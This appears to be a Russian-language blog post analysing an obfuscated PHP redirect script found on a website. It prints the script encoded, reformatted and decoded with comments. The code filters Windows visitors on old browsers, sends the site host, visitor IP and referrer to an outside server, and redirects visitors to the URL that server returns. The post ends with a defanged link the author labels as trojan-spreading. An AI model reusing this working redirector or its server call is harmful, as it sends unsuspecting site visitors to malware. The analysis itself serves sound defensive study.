WxsYS'.'81LjAgKFdp'.'b'.'m'.'R'.'vd3M7IF'.'U'.'7IFdp'.'bmRvd3MgTl'.'QgNS4xO'.'yBl'.'bi1VUzs'.'gcnY6MS44'.'LjAuMyk'.'g'.'R'.'2V'.'ja28vMj'.'AwNjA0M'.'jYgRmlyZWZveC8'.'x'.'LjUu'.'MC4zDQo'.'=','QWN'.'jZXB0OiAqLy'.'oNC'.'g='.'=',''.'Q'.'WNjZXB0'.'LUxh'.'bmd'.'1YWdlOi'.'Blbi11cyxlbjtxPT'.'AuNQ0'.'K','QWN'.'jZX'.'B0LUN'.'o'.'YXJzZXQ6IE'.'lTTy0'.'4OD'.'U'.'5LTEsdXRmLTg'.'7cT0w'.'LjcsKj'.'txPTA'.'u'.'N'.'w0'.'K','Q29udG'.'VudC1M'.'ZW5n'.'dGg'.'6IA='.'=','D'.'Q'.'o=','','DQ'.'oN'.'Cg==','bQ==','am'.'1wcA==');return base64_decode($a[$i]);} ?><?php $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){exit(_724562126(6));}$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);$_4=false;foreach($_3 as $_5){if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){$_4=true;break;}}if(!$_4){exit(_724562126(12));}$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);if(empty($_6)){exit(_724562126(16));}$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;$_8=l__0($_7);if($_8==_724562126(28)){exit(_724562126(29));}$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));function l__0($_9){if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){return l__1($_9);}else{$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){return l__3($_9);}}}function l__1($_7){$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);$_17=_724562126(43);}function l__2($_11,$_18,$_19,$_7){$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18\r\n" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7");$_2=_724562126(52);if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){$_2 .= $_15;}$GLOBALS['_664181862_'][25]($_11);$_21=round(0+572+572);$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));$_22=round(0+500.8+500.8+500.8+500.8+500.8);return $_2;}function l__3($_7){$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));$GLOBALS['_664181862_'][33]($_1,42,FALSE);$_23=_724562126(54);$GLOBALS['_664181862_'][34]($_1,19913,TRUE);if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));else{$GLOBALS['_664181862_'][36]($_15,$_7,$_12);}$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));$_24=_724562126(55);$GLOBALS['_664181862_'][38]($_1,10015,$_7);if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));else{$GLOBALS['_664181862_'][40]($_13,$_1);}$_16=$GLOBALS['_664181862_'][41]($_1);$GLOBALS['_664181862_'][42]($_1);$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);return $_16;} 

Само собой — файл в одну строку, содержимое закодировано.
Добавим переносов:

содержимое второго файла

<? $GLOBALS['_664181862_']=Array( 	base64_decode('ZGVmaW5l'), 	base64_decode('c3RydG9sb3dlcg=='), 	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('c3RycG9z'), 	base64_decode('c3RycG9z'), 	base64_decode('c3RydG9sb3dlcg=='), 	base64_decode('c3RyX3JlcGxhY2U='), 	base64_decode('dXJsZW5jb2Rl'), 	base64_decode('dXJsZW5jb2Rl'), 	base64_decode('aGVhZGVy'), 	base64_decode('dHJpbQ=='), 	base64_decode('aW5pX2dldA=='), 	base64_decode('cGFyc2VfdXJs'), 	base64_decode('ZnNvY2tvcGVu'), 	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'), 	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), 	base64_decode('YXJyYXlfcmVkdWNl'), 	base64_decode('ZmZsdXNo'), 	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 	base64_decode('ZnB1dHM='), 	base64_decode('c3RybGVu'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('YXJyYXlfZmlsbA=='), 	base64_decode('ZnJlYWQ='), 	base64_decode('ZmNsb3Nl'), 	base64_decode('c3RycG9z'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('YXJyYXlfZmxpcA=='), 	base64_decode('c3Vic3Ry'), 	base64_decode('Y3VybF9pbml0'), 	base64_decode('c3Vic3Ry'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('cHJlZ19yZXBsYWNl'), 	base64_decode('ZnJlYWQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('c3RydmFs'), 	base64_decode('YXJyYXlfbWVyZ2U='), 	base64_decode('Y3VybF9leGVj'), 	base64_decode('Y3VybF9jbG9zZQ=='));  ?><?  function _724562126($i){ 	$a=Array( 		'QURNSU5fUkVESVJfVVJM', 		'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=', 		'SFRUUF9VU0VSX0FHRU5U', 		'SFRUUF9VU0VSX0FHRU5U', 		'', 		'd2luZG93cw==', 		'MXo=', 		'b3BlcmEvOS44MA==', 		'bXNpZSAxMA==', 		'bXNpZSA5', 		'bXNpZSA4', 		'bXNpZSA3', 		'Mno=', 		'SFRUUF9SRUZFUkVS', 		'SFRUUF9SRUZFUkVS', 		'', 		'M3o=', 		'SFRUUF9IT1NU', 		'SFRUUF9IT1NU', 		'SFRUUF9IT1NU', 		'd3d3Lg==', 		'', 		'SFRUUF9IT1NU', 		'ZD0=', 		'SFRUUF9IT1NU', 		'Og==', 		'UkVNT1RFX0FERFI=', 		'Og==', 		'QkFE', 		'NHo=', 		'TG9jYXRpb246IA==', 		'YWxsb3dfdXJsX2ZvcGVu', 		'aG9zdA==', 		'aG9zdA==', 		'cGF0aA==', 		'Y3VybF9pbml0', 		'aHR0cA==', 		'bWV0aG9k', 		'UE9TVA==', 		'aGVhZGVy', 		'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=', 		'Cg==', 		'Y29udGVudA==', 		'Yms=', 		'UE9TVCA=', 		'ICBIVFRQLzEuMA0K', 		'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', 		'QWNjZXB0OiAqLyoNCg==', 		'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', 		'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', 		'Q29udGVudC1MZW5ndGg6IA==', 		'DQo=', 		'', 		'DQoNCg==', 		'bQ==', 		'am1wcA=='); return base64_decode($a[$i]); }  ?><?php  $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1)); $_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4); (round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938)); if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){ 	exit(_724562126(6)); } $_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),); $_4=false; foreach($_3 as $_5){ 	if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){ 		$_4=true; 		break; 	} } if(!$_4){ 	exit(_724562126(12)); } $_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15); if(empty($_6)){ 	exit(_724562126(16)); } $_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]); $_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]); $_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;  $_8=l__0($_7); if($_8==_724562126(28)){ 	exit(_724562126(29)); }  $GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8)); function l__0($_9){ 	if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){ 		return l__1($_9); 	}else{ 		$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL); 		if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){ 			return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9); 		}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){ 			return l__3($_9); 		} 	} } function l__1($_7){ 	$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),)); 	if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16); 	return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14); 	$_17=_724562126(43); }  function l__2($_11,$_18,$_19,$_7){ 	$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18\r\n" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7"); 	$_2=_724562126(52); 	if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13); 	while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){ 		$_2 .= $_15; 	} 	$GLOBALS['_664181862_'][25]($_11); 	$_21=round(0+572+572); 	$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53)); 	if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20); 	$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8)); 	$_22=round(0+500.8+500.8+500.8+500.8+500.8); 	return $_2; }  function l__3($_7){ 	$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL); 	(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183)); 	$GLOBALS['_664181862_'][33]($_1,42,FALSE); 	$_23=_724562126(54); 	$GLOBALS['_664181862_'][34]($_1,19913,TRUE); 	if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20)); 	else{ 		$GLOBALS['_664181862_'][36]($_15,$_7,$_12); 	} 	$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75)); 	$_24=_724562126(55); 	$GLOBALS['_664181862_'][38]($_1,10015,$_7); 	if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15)); 	else{ 		$GLOBALS['_664181862_'][40]($_13,$_1); 	} 	$_16=$GLOBALS['_664181862_'][41]($_1); 	$GLOBALS['_664181862_'][42]($_1); 	$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667); 	return $_16; } ?> 

Расшифровываем код:

содержимое второго файла

<? $GLOBALS['_664181862_']=Array(  //    [0] => define  //    [1] => strtolower  //    [2] => imagecreatefromgif  //    [3] => mt_rand  //    [4] => strpos  //    [5] => strpos  //    [6] => strtolower  //    [7] => str_replace  //    [8] => urlencode  //    [9] => urlencode  //    [10] => header  //    [11] => trim  //    [12] => ini_get  //    [13] => parse_url  //    [14] => fsockopen  //    [15] => function_exists  //    [16] => stream_context_create  //    [17] => array_reduce  //    [18] => fflush  //    [19] => file_get_contents  //    [20] => fputs  //    [21] => strlen  //    [22] => mt_rand  //    [23] => array_fill  //    [24] => fread  //    [25] => fclose  //    [26] => strpos  //    [27] => mt_rand  //    [28] => array_flip  //    [29] => substr  //    [30] => curl_init  //    [31] => substr  //    [32] => mt_rand  //    [33] => curl_setopt  //    [34] => curl_setopt  //    [35] => preg_replace  //    [36] => fread  //    [37] => curl_setopt  //    [38] => curl_setopt  //    [39] => strval  //    [40] => array_merge  //    [41] => curl_exec  //    [42] => curl_close 	base64_decode('ZGVmaW5l'), 	base64_decode('c3RydG9sb3dlcg=='), 	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('c3RycG9z'), 	base64_decode('c3RycG9z'), 	base64_decode('c3RydG9sb3dlcg=='), 	base64_decode('c3RyX3JlcGxhY2U='), 	base64_decode('dXJsZW5jb2Rl'), 	base64_decode('dXJsZW5jb2Rl'), 	base64_decode('aGVhZGVy'), 	base64_decode('dHJpbQ=='), 	base64_decode('aW5pX2dldA=='), 	base64_decode('cGFyc2VfdXJs'), 	base64_decode('ZnNvY2tvcGVu'), 	base64_decode('ZnVuY3Rpb25fZXhpc3Rz'), 	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), 	base64_decode('YXJyYXlfcmVkdWNl'), 	base64_decode('ZmZsdXNo'), 	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 	base64_decode('ZnB1dHM='), 	base64_decode('c3RybGVu'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('YXJyYXlfZmlsbA=='), 	base64_decode('ZnJlYWQ='), 	base64_decode('ZmNsb3Nl'), 	base64_decode('c3RycG9z'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('YXJyYXlfZmxpcA=='), 	base64_decode('c3Vic3Ry'), 	base64_decode('Y3VybF9pbml0'), 	base64_decode('c3Vic3Ry'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('cHJlZ19yZXBsYWNl'), 	base64_decode('ZnJlYWQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('c3RydmFs'), 	base64_decode('YXJyYXlfbWVyZ2U='), 	base64_decode('Y3VybF9leGVj'), 	base64_decode('Y3VybF9jbG9zZQ=='));  ?><?  function _724562126($i){ //     [0] => ADMIN_REDIR_URL //     [1] => http://test.customsexcams.com/rb/get_url.php //     [2] => HTTP_USER_AGENT //     [3] => HTTP_USER_AGENT //     [4] =>  //     [5] => windows //     [6] => 1z //     [7] => opera/9.80 //     [8] => msie 10 //     [9] => msie 9 //     [10] => msie 8 //     [11] => msie 7 //     [12] => 2z //     [13] => HTTP_REFERER //     [14] => HTTP_REFERER //     [15] =>  //     [16] => 3z //     [17] => HTTP_HOST //     [18] => HTTP_HOST //     [19] => HTTP_HOST //     [20] => www. //     [21] =>  //     [22] => HTTP_HOST //     [23] => d= //     [24] => HTTP_HOST //     [25] => : //     [26] => REMOTE_ADDR //     [27] => : //     [28] => BAD //     [29] => 4z //     [30] => Location:  //     [31] => allow_url_fopen //     [32] => host //     [33] => host //     [34] => path //     [35] => curl_init //     [36] => http //     [37] => method //     [38] => POST //     [39] => header //     [40] => Content-Type: application/x-www-form-urlencoded //     [41] =>   //     [42] => content //     [43] => bk //     [44] => POST  //     [45] =>   HTTP/1.0  //     [46] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3  //     [47] => Accept: */*  //     [48] => Accept-Language: en-us,en;q=0.5  //     [49] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  //     [50] => Content-Length:  //     [51] =>   //     [52] =>  //     [53] =>    //     [54] => m //     [55] => jmpp 	$a=Array( 		'QURNSU5fUkVESVJfVVJM', 		'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=', 		'SFRUUF9VU0VSX0FHRU5U', 		'SFRUUF9VU0VSX0FHRU5U', 		'', 		'd2luZG93cw==', 		'MXo=', 		'b3BlcmEvOS44MA==', 		'bXNpZSAxMA==', 		'bXNpZSA5', 		'bXNpZSA4', 		'bXNpZSA3', 		'Mno=', 		'SFRUUF9SRUZFUkVS', 		'SFRUUF9SRUZFUkVS', 		'', 		'M3o=', 		'SFRUUF9IT1NU', 		'SFRUUF9IT1NU', 		'SFRUUF9IT1NU', 		'd3d3Lg==', 		'', 		'SFRUUF9IT1NU', 		'ZD0=', 		'SFRUUF9IT1NU', 		'Og==', 		'UkVNT1RFX0FERFI=', 		'Og==', 		'QkFE', 		'NHo=', 		'TG9jYXRpb246IA==', 		'YWxsb3dfdXJsX2ZvcGVu', 		'aG9zdA==', 		'aG9zdA==', 		'cGF0aA==', 		'Y3VybF9pbml0', 		'aHR0cA==', 		'bWV0aG9k', 		'UE9TVA==', 		'aGVhZGVy', 		'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=', 		'Cg==', 		'Y29udGVudA==', 		'Yms=', 		'UE9TVCA=', 		'ICBIVFRQLzEuMA0K', 		'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', 		'QWNjZXB0OiAqLyoNCg==', 		'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', 		'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', 		'Q29udGVudC1MZW5ndGg6IA==', 		'DQo=', 		'', 		'DQoNCg==', 		'bQ==', 		'am1wcA=='); return base64_decode($a[$i]); }  ?><?php  define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");  if (isset($_SERVER[HTTP_USER_AGENT])) { 	$_0 = strtolower($_SERVER[HTTP_USER_AGENT]); } else { 	$_0 = ""; }  if(0){ 	imagecreatefromgif($_1,$_2); } else { 	mt_rand(3419,3876); }  if (strpos($_0,"windows")===false){ 	exit("1z"); }  $_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",); $_4=false;  foreach($_3 as $_5){ 	if (strpos($_0,$_5)!==false){ 		$_4=true; 		break; 	} } if(!$_4){ 	exit("2z");  } if (isset($_SERVER[HTTP_REFERER])){ 	$_6 = $_SERVER[HTTP_REFERER]); } else { 	$_6 = ""; }  if(empty($_6)){ 	exit("3z");  } $_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]); $_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]);  $_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);";  $_8=l__0($_7); if ($_8="BAD"){ 	exit("4z"); }  header("Location: ".trim($_8));  function l__0($_9){ 	if (ini_get(allow_url_fopen)==1){ 		return l__1($_9); 	} else { 		$_10 = parse_url(ADMIN_REDIR_URL); 		if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){ 			return l__2($_11,$_10[host],$_10[path],$_9); 		} elseif (@function_exists(curl_init)){ 			return l__3($_9); 		} 	} }  function l__1($_7){ 	$_14=stream_context_create(array(http=>array(method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ",content=>$_7,),)); 	if (0 && array_reduce($_4, $_15, $_5)){ //- мусор 		fflush($_16);  	} 	return file_get_contents(ADMIN_REDIR_URL,false,$_14);  	$_17 = "bk"; //мусор }  function l__2($_11,$_18,$_19,$_7){ 	fputs($_11, "POST ".$_19."  HTTP/1.0\r\n 		Host: $_18\r\n 		User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n 		Accept: */*\r\n 		Accept-Language: en-us,en;q=0.5\r\n 		Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n 		Content-Length: ".strlen($_7)."\r\n 		Content-Type: application/x-www-form-urlencoded\r\n\r\n$_7"); 	 	$_2=""; 	 	if (4001<mt_rand(1611,2385)) { // мусор 		array_fill($_20,$_19,$_13); 	} 	 	while ($_15=fread($_11, 4096)){ 		$_2 .= $_15; 	} 	 	fclose($_11); 	 	$_21 = 1144; // мусор 	 	$_20 = strpos($_2, ""); 	 	if (4480<mt_rand(1439,3036)){ // мусор 		array_flip($_14, $_20); 	} 	 	$_2=substr($_2, $_20+4); 	 	$_22 = 2504; // мусор 	 	return $_2; }  function l__3($_7){ 	$_1 = curl_init(ADMIN_REDIR_URL); 	 	if (0){ // мусор 		substr($_4, $_15, $_18); 	} else { 		mt_rand(447, 3183); 	} 	 	curl_setopt($_1, 42, FALSE); 	 	$_23 = m; // мусор 	 	curl_setopt($_1,19913,TRUE); 	 	if (6581>2508 || preg_replace($_20)); //мусор 	else{ 		fread($_15,$_7,$_12); 	} 	 	curl_setopt($_1,13,15); 	 	$_24 = jmpp; //мусор 	 	curl_setopt($_1,10015,$_7); 	 	if (2561>1760 || strval($_11,$_3,$_15)); // мусор 	else { 		array_merge($_13,$_1); 	} 	 	$_16=curl_exec($_1); 	 	curl_close($_1); 	 	$_25=4730; //мусор 	 	return $_16; }  ?> 

Удаляем лишнее:

<?php  define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");  if (isset($_SERVER[HTTP_USER_AGENT])) { // Проверка наличия юзер-агента 	$_0 = strtolower($_SERVER[HTTP_USER_AGENT]); } else { 	$_0 = ""; }  if (strpos($_0,"windows")===false){ // если юзер-агента нет, или в нём нет упоминания слова "windows", на экран выводится 1z. Скрипт завершается. 	exit("1z"); }  $_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",); $_4=false;  foreach($_3 as $_5){ 	if (strpos($_0,$_5)!==false){ //проверка упоминания в юзер-агенте браузера Opera или ШУ 		$_4=true; 		break; 	} }  if(!$_4){ 	exit("2z"); //если браузер иной - вывод на экран 2z. Скрипт завершается. }  if (isset($_SERVER[HTTP_REFERER])){ // проверка наличия реферера 	$_6 = $_SERVER[HTTP_REFERER]; } else { 	$_6 = ""; }  if(empty($_6)){ // если нет реферера - вывод на экран 3z. Скрипт завершается. 	exit("3z"); }  $_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]); $_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]); //   $_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);"; // строка вида d=АДРЕС_САЙТА:АДРЕС_КЛИЕНТА:РЕФЕРАЛ $_8=l__0($_7);  if ($_8="BAD"){ // если содержимое полученного файла "BAD" - вывод на экран 4z. Скрипт завершается. 	exit("4z"); }  header("Location: ".trim($_8)); // если всё удалось, переходим по полученной ссылке  function l__0($paramurl){ // выбор способа получения данных из файла 	if (ini_get(allow_url_fopen)==1){  		return l__1($paramurl); 	} else { 		$_10 = parse_url(ADMIN_REDIR_URL); 		if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){ 			return l__2($_11,$_10[host],$_10[path],$paramurl); 		} elseif (@function_exists(curl_init)){ 			return l__3($paramurl); 		} 	} } function l__1($paramurl){ // получение данных из файла с помощью file_get_contents 	$_14=stream_context_create(array( 		http=>array( 			method=>POST,  			header=>"Content-Type: application/x-www-form-urlencoded ", 			content=>$paramurl, 			), 		) 	); 	 	return file_get_contents(ADMIN_REDIR_URL,false,$_14); }   function l__2($socket, $host, $path, $paramurl){ // получение данных из файла с помощью fsockopen 	fputs($socket, "POST ".$path."  HTTP/1.0\r\n 		Host: $host\r\n 		User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n 		Accept: */*\r\n 		Accept-Language: en-us,en;q=0.5\r\n 		Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n 		Content-Length: ".strlen($paramurl)."\r\n 		Content-Type: application/x-www-form-urlencoded\r\n\r\n$paramurl"); 	$response="";  	while ($buffer=fread($socket, 4096)){ 		$response .= $buffer; 	} 	 	fclose($socket);	 	$header_end = strpos($response, "");	 	$response=substr($response, $header_end+4);	 	return $response; }   function l__3($paramurl){ // получение данных из файла с помощью curl 	$curl = curl_init(ADMIN_REDIR_URL);	 	curl_setopt($curl, 42, FALSE);	 	curl_setopt($curl,19913,TRUE); 	curl_setopt($curl,13,15); 	curl_setopt($curl,10015,$paramurl);	 	$response=curl_exec($curl); 	curl_close($curl); 	return $response; }  ?> 

Суть скрипта — обращение по адресу test.customsexcams.com/rb/get_url.php с определённым параметром (вида d=АДРЕС_САЙТА: АДРЕС_КЛИЕНТА: РЕФЕРАЛ).

Быстренько, скопировав одну из функций, я запустил свой скрипт, чтобы перейти к следующему шагу:

$purl="d=weddingcatering.co.th:80.112.243.203%3AEach_will_be_rewarded_according_to_merit"; 	$_14=stream_context_create(array( 		http=>array( 			method=>POST,  			header=>"Content-Type: application/x-www-form-urlencoded ", 			content=>$purl, 			), 		) 	); $resp = file_get_contents(ADMIN_REDIR_URL,false,$_14); echo $resp; 

И получил в ответ лаконичное: BAD.
И тут мне пришло в голову с адресе сайта использовать не любой из своего списка, а именно тот, который сейчас находится в коде файла 7.txt. Ответ был иным:

Скрытый текст

Внимание!!!
Переходя по ссылке, представленной ниже, Вы рискуете заразить свой компьютер трояном!

хттп://blog2.companyscoming.co:3811/books/site-map.php?radio=888&themes=883&login=82&advocacy=833&browser=79

Параметры после знака "?" генерируются рандомно и не имеют значения.
